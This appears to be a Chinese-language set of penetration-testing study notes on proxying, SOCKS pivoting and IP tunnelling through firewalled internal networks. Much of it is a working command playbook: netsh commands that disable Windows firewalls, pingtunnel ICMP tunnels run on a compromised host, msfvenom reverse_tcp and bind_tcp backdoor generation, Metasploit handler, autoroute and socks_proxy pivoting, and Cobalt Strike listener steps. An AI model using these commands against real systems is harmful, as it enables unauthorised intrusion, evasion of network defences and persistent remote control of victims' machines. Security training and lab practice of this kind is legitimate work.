一、基础知识
1、关键词:
连接方向:正向连接(主动)、反向连接(被动)
——
IP隧道技术:解决不出网协议上线的问题(利用出网协议进行封装出网)
——
代理技术:解决网络通讯不通的问题(利用跳板机建立节点后继续操作)
2、代理技术
1)利用代理工具将内网的流量代理到本地进行访问,进而进行下一步渗透,同时也可以利用代理工具将其他网段的流量转发到本地进行纵向渗透。
——
2)代理的本质是Socks协议(防火墙安全会话转换协议),工作在OSI模型的第5层(会话层)。使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务
————
3)目前支持SOCKS4和SOCKS5版本:
SOCKS4:支持TELNET、FTP、HTTP等TCP协议
SOCKS5:支持TCP与UDP,并支持安全认证方案
————
4)代理分为正向代理和反向代理两类:
正向代理:已控服务器监听端口,通过这个端口形成一个正向的隧道,由代理机器代替主机去访问内网目标。但是内网入口一般处于DMZ区域有防火墙拦截,无法直接进入内网环境。
——
反向代理:由内网主机主动交出权限到代理机器,然后本地去连接形成反向代理(如VPS监听本地端口,已控内网服务器来连接此端口,形成一个隧道。如果内网设备连接外网,就无法回弹只能再想其他办法)
———
5)端口转发工具:NC、LCX、regGorg、venom、ngrock等
代理链工具:SocksCap、ProxyChains(Linux)、Proxifier(win)等
3、IP隧道技术
1)是路由器把一种网络层协议封装到另一个协议中以跨过网络传送到另一个路由器的处理过程
————
2)隧道技术是一种数据包封装技术,它是将原始IP包(其报头包含原始发送者和最终目的地)封装在另一个数据包(称为封装的IP包)的数据净荷中进行传输
———
3)隧道技术上线:
HTTP/S & DNS & SSH & ICMP & SMB & 协议穿透等
除去SMB隧道外,其他隧道技术大部分针对的出站策略绕过(也就是最终传输的地方会转会原本的协议)
4、使用场景
1)入站过滤上线:隧道技术(正向)、反向连接、关闭&删除&替换(防火墙策略)
——
2)出站过滤上线:隧道技术(反向)、正向连接、关闭&删除&替换(防火墙策略)
——
3)简单的内网环境:防火墙开关,删除规则,替换程序(域控没有设置组策略防火墙同步)
Windows防火墙命令: 查看当前防火墙状态 netsh advfirewall show allprofiles 关闭防火墙 netsh advfirewall set allprofiles state off 开启防火墙 netsh advfirewall set allprofiles state on 恢复初始防火墙设置 netsh advfirewall reset 启用桌面防火墙 netsh advfirewall set allprofiles state on 设置默认输入和输出策略 netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound 如果设置为拒绝使用blockinbound,blockoutbound
二、示例
1、不出网上线
1)理论:
1、域控通过组策略设置防火墙规则同步后,域内用户主机被限制TCP出网(出站规则),通过入站取得SHELL权限后,需要对其进行上线控制
考虑:正向连接、IP隧道技术
————
2、若入站被限制
考虑:反向连接、IP隧道技术
————
协议的向下兼容(Tcp被禁,就测试ICMP协议)
————
ICMP协议项目:
https://github.com/bdamele/icmpsh
https://github.com/esrrhs/pingtunnel
————
2)示例:
CS-ICMP 上线 VPS: ./pingtunnel -type server 肉鸡: 管理器运行(ICMP程序) pingtunnel.exe -type client -l 127.0.0.1:6666 -s 192.168.46.66 -t 192.168.46.66:7777 -tcp 1 -noprint 1 -nolog 1(此处,监听本地6666端口,并转发到指定ip的7777端口) CS: 监听器1:127.0.0.1 6666 监听器2:192.168.46.66 7777 生成监听器1的Stager后门肉鸡执行
MSF 上线 生成后门: msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe > xd.exe MSF启动监听: msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 4444 exploit Kali开启隧道: ./pingtunnel -type server Win开启隧道 //将本地3333 icmp协议数据转发到指定ip的4444端口上 管理员运行(ICMP程序) pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.46.66 -t 192.168.46.66:4444 -tcp 1 -noprint 1 -nolog 1
三、代理技术
1、dome
适用的场景(不可直达)
2、第一步:网络通讯
MSF&CS(路由添加&节点建立)
代理协议: SOCKS4/5 代理软件: SocksCap Proxifier ProxyChains等 //右边第一个出网,getshell //右边第1、2个主机都是通过vm2网络通信(同一网段192.168.11.0) //建立通讯 MSF通讯 1、添加路由 限于MSF 查看路由信息 run autoroute -p run post/multi/manage/autoroute //添加指定路由(wm2的),1是接收的session编号 route add 192.168.11.0 255.255.255.0 1 2、Sock代理(全局) use auxiliary/server/socks_proxy set srvhost 0.0.0.0 set srvport 1115 run 启用代理软件配置Sock5代理 CS通讯 命令:socks 59578 操作:代理转发-Socks代理
3、第二步:控制上线
MSF&CS(协议生成&正反连接)
//此处是允许入站,所以正向连接 //通过同一网段(wm2)通讯,并上线监听 MSF控制上线(正向) msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=3333 -f exe > bd.exe use exploit/multi/handler set payload windows/meterpreter/bind_tcp set rhost 192.168.11.129 set lport 3333 run CS控制上线(正向) 监听器:bind_tcp port 命令:connect ip port
4、第三步:依次上线
MSF控制上线(正向) msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=4455 -f exe > bd2.exe use exploit/multi/handler set payload windows/meterpreter/bind_tcp set rhost 192.168.22.131 set lport 4455 run CS控制上线(正向) 监听器:bind_tcp port 命令:connect ip port